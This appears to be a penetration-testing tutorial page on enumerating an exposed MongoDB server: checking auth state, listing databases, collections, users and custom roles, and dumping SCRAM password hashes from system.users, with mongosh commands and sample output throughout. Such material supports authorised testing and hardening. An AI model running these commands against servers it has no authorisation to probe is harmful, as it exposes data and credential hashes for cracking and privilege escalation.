Skip to content
HackIndex logo

HackIndex

MongoDB Database, User, and Role Enumeration

3 min read Mar 28, 2026

Database and user enumeration maps what data exists and which identities have access to it. When authentication is absent this is fully accessible without credentials. When authenticated with a low-privilege account, the same commands reveal what other users and roles exist — useful for identifying privilege escalation paths. Run this after service discovery confirms access.

Check Authentication State

Confirm what identity the current connection has before enumerating further:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.runCommand({connectionStatus: 1}))'
{
  authInfo: {
    authenticatedUsers: [],
    authenticatedUserRoles: []
  },
  ok: 1
}

Empty arrays confirm unauthenticated access. If users and roles are listed, note the current identity's roles before proceeding — they determine what the following commands will return.

List All Databases

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.adminCommand({listDatabases: 1}))'
{
  databases: [
    { name: 'admin',   sizeOnDisk: 102400, empty: false },
    { name: 'appdb',   sizeOnDisk: 81920,  empty: false },
    { name: 'users',   sizeOnDisk: 40960,  empty: false },
    { name: 'local',   sizeOnDisk: 40960,  empty: false }
  ],
  totalSize: 266240,
  ok: 1
}

Prioritize non-system databases with meaningful names — appdb, users, webapp, customers, analytics. The local and config databases are system databases with limited attack value. admin contains user credentials and roles.

List Collections in a Database

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/appdb --quiet --eval 'printjson(db.getCollectionNames())'
[ 'users', 'sessions', 'orders', 'products', 'api_tokens' ]
┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'db.adminCommand({listDatabases:1}).databases.forEach(d => { let cols = db.getSiblingDB(d.name).getCollectionNames(); if(cols.length) print(d.name+": "+cols.join(", ")) })'
appdb: users, sessions, orders, api_tokens
analytics: events, metrics
admin: system.users, system.roles

Enumerate Users

Pull all users from the admin database, which stores credentials for all databases:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.adminCommand({usersInfo: {forAllDBs: true}}))'
{
  users: [
    {
      user: 'admin',
      db: 'admin',
      roles: [ { role: 'root', db: 'admin' } ],
      mechanisms: [ 'SCRAM-SHA-256' ]
    },
    {
      user: 'appuser',
      db: 'appdb',
      roles: [ { role: 'readWrite', db: 'appdb' } ],
      mechanisms: [ 'SCRAM-SHA-1', 'SCRAM-SHA-256' ]
    }
  ],
  ok: 1
}

Users with root or dbOwner on admin are the highest-privilege accounts. Note the mechanism — SCRAM-SHA-1 is weaker than SCRAM-SHA-256 and more susceptible to offline cracking if hashes are accessible. Users stored in the admin database's system.users collection contain password hashes readable with sufficient privileges.

Read Password Hashes from system.users

With read access to the admin database, pull the stored credential hashes directly:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017/admin --quiet --eval 'db.system.users.find({},{user:1,credentials:1,roles:1}).forEach(u => printjson(u))'
{
  user: 'admin',
  credentials: {
    'SCRAM-SHA-1': { storedKey: 'abc123...', serverKey: 'def456...' },
    'SCRAM-SHA-256': { storedKey: 'xyz789...', serverKey: 'uvw012...' }
  },
  roles: [ { role: 'root', db: 'admin' } ]
}

Enumerate Roles

List all roles to understand what privilege levels exist and whether any custom roles with elevated permissions have been created:

┌──(kali㉿kali)-[~]
└─$ mongosh $TARGET_IP:27017 --quiet --eval 'printjson(db.adminCommand({rolesInfo: 1, showBuiltinRoles: false}))' | grep -A3 'role:'
role: 'dataExporter',
db: 'admin',
privileges: [ { resource: { anyResource: true }, actions: [ 'find' ] } ]

Custom roles with anyResource or broad action lists are overprivileged and often assigned to service accounts. Identifying these helps map privilege escalation paths — if you can authenticate as a user with a custom role that has broader access than intended, that is an escalation vector. Move to data extraction to pull collection contents.

References